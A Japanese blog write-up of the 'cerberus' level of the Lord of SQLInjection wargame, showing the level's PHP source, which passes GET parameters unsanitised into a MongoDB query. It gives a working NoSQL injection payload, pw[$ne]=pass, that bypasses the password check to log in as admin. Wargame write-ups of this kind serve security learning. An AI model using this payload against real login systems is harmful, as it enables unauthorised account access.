はまやんはまやんはまやん

hamayanhamayan's blog

cerberus [LORD OF SQLINJECTION]

Lord of SQLInjection

<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
$query = array(
    "id" => $_GET['id'],
    "pw" => $_GET['pw']
);
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_cerberus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
if($result['id'] === "admin") solve("cerberus");
highlight_file(__FILE__);

特徴は以下。

  • MongoDB
  • id,pwが入力可能
  • id=adminで帰ってくればいい

NoSQL Injection (for MongoDB)

NoSQL Injectionをやる。

?id=admin&pw=passにアクセスすると、クエリ文が{"id":"admin", "pw": "pass"}となる。
これはSQLっぽく言うとid='admin' and pw='pass'ということであるが、以下のように攻撃可能。

?id=admin&pw[$ne]=passにアクセスすると、クエリ文が{"id":"admin", "pw": {"$ne": "pass"}}となる。
これはSQLっぽく言うとid='admin' and pw!='pass'ということであり、adminにアクセス可能。